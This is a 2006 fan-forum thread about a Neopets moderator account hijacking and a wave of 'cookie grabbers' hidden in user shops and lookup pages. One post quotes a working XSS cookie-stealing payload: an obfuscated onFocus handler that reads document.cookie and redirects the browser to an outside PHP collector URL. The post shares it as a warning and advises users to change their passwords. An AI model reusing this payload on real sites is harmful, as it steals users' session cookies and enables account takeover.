TNT Has Been Hacked

[Jamie]

That Kaos guy has taken over one/all of their accounts and is locking boards and taunting all over the boards. ><

[Hydro]

Are you serious? Like that Ad0 guy, or whatever his name was. I never go to the Neoboards because they're a hornetsnest. The Neoboards are basically inviting you to be frozen when you even look at them nowadays.

Hydro

[TDG]

TNT are back in control of the account now, but I seriously suggest staying away from Neopets.com for a while. We don't know what privellages theneopetsteam had, they might have fiddled with the safe and I wouldn't trust the site as far as I could throw my computer...

[shapu]

Actually, Kaos got into a moderator account, not TNT (probably through a CG, or some other simple password or maybe bruteforce.) He then locked a bunch of boards on the neoboards, and froze a few folks (guess that shows that moderators have the power to freeze, for what that's worth), and basically taunted TNT for a few minutes.

That user's account is common knowledge on the boards, though I won't mention it here. At any rate, her account was frozen, though it's been re-enabled since.

There are rumors going around, saying "Oh, there's Cookie Grabbers here and there and here and there and here and there!" Nevermind that a mod doesn't have the power to actually modify any of those pages.

My suggestion, if you're really worried, is not to go on Neopets tonight/Tuesday, whenever. I don't see that the threat level is really all that high.

Last edited by shapu on Tue Jan 17, 2006 3:00 am, edited 1 time in total.

[Hydro]

Yep. TNT is back in control. Ol' faithful TNT. Shapu is right though, he only got into a moderator account, froze a few accounts, locked tons of boards, andwarned a few people.

I just plain avoid the Neoboard. It all happened on the Battledome board though, people from the Avatar Chat kept coming to watch. Quite amusing though

Hydro

[CrewWolf]

Screenshots for the dangerously curious. The third has been edited for profanity.

[TDG]

Actually, Kaos got into a moderator account, not TNT (probably through a CG, or some other simple password or maybe bruteforce.) He then locked a bunch of boards on the neoboards, and froze a few folks (guess that shows that moderators have the power to freeze, for what that's worth), and basically taunted TNT for a few minutes.

That user's account is common knowledge on the boards, though I won't mention it here. At any rate, her account was frozen, though it's been re-enabled since.

There are rumors going around, saying "Oh, there's Cookie Grabbers here and there and here and there and here and there!" Nevermind that a mod doesn't have the power to actually modify any of those pages.

My suggestion, if you're really worried, is not to go on Neopets tonight/Tuesday, whenever. I don't see that the threat level is really all that high.

Lesson from story
Don't trust 'facts' from neoboards
I see, grasshopper

[LAQ]

Is this Kaos person the same person who was causing all that stuff with the CGers?

I dunno, I think that the screenshots are kind of funny for some reason, even though it's terrible that the account was hacked. I hope TNT ups their security after this.

[shapu]

Is this Kaos person the same person who was causing all that stuff with the CGers?

I dunno, I think that the screenshots are kind of funny for some reason, even though it's terrible that the account was hacked. I hope TNT ups their security after this.

If you're thinking the CG episode of a few days ago, then yes, same one.

Just got lucky, I guess.

[Officer 1BDI]

I thought that screenname looked familiar....

Actually, I haven't been on since this afternoon, so I missed this entire fiasco. At least it was only a mod, and not an actual member of TNT. That could have been catastrophic, depending on what information they can access from their accounts.

Edit: By "not an actual member of TNT," I mean.... I'm not sure what I mean.

Last edited by Officer 1BDI on Tue Jan 17, 2006 5:38 am, edited 1 time in total.

[psyco_chick32]

I'm not really all that impressed, though. I mean, if Neopets didn't do a lot with the CG stuff, it was bound to happen sooner or later. If Kaos did it with a CG, all he had to do was go into an account, make a "questionable" lookup page or shop, have a mod go there to look at it, and he'd have all the information.
Sad, but I was almost waiting for it to happen (well, kind of. When it first happened this crossed my mind... then I ignored it and moved on).

It is a bummer, though maybe now TNT has their eyes open to what is really happening around the site.

[ArwenEarendil]

ROFL.

It's not that impressing, like above has said. A TNT board monitor merely ran across a CGer (obv, took no precautions).

What's funny is... I actually have it all on screenshots.

No, not the board, but of the actual CG file. =/

[everconfused]

They waited until the weekend to start this nonsense, knowing that there's less staff and that it's a holiday weekend, so staff wouldn't be in today (most staff, that is). 2 of these were already disabled, btw. A staff member did post that on a board. They are trying to get this taken care of.

There were plenty of people who did take precautions and still got grabbed. I did get alot of ss from the boards and then just left -- my blood pressure was getting too high. Not out of fear, but anger.

Anger that these people started this and it's now been placed on how many lookups or shops, making the site not fun, not friendly, but a place of suspicion and for many, fear. Fear of losing their accounts/pets/items and also fear of losing or having their emails and other information compromised, as some premium members were gotten.

I just hope they catch these people and have them prosecuted. And I hope TNT is able to somehow (don't ask me how) get rid of these cg that remain. If it means clearing everyone's lookups/shops, whatever, then fine. I don't envy their job over the next few days.

I think the monitors did a great job in an awful situation.

[dolphinling]

Okay, so there really is a new cookiegrabber out there. This one is worse than before, in that you can get it just by going to a shop, without even needing to click on a bad link. I'll have more info up soon, but for now I suggest either turning off javascript (that'll block it, but make parts of neo not work) or just stay off of neopets.

Edit: Here's the code, I haven't had time to look at it yet.

Code:

<body onFocus="cs='docu'.concat('men','t.','cook','ie');
cook=eval (cs);
URL='http://www.h2unnamed.com/testinguploads/CG/cgrab.php?c=';
location.href=URL.concat(escape(cook));">

Edit 2: Okay, so having looked this over, there's really nothing you can do to block it. It can probably go on userlookups as well as shops (I saw it in a shop originally) and you can't just block the URL, because that can be changed easily. The only thing you can do is turn of javascript entirely or stop going on Neo. And since they could have already gotten you without you knowing it if you've done either of those (or petpages, or galleries, or plenty of other things) my recommendation is

Change your password and log out of neopets until this gets fixed

[kuroro]

My... I just logged in like always today, then come to ppt. This is worrying. Sad thing is, that I have a faerie quest. I guess I will let it rest for now.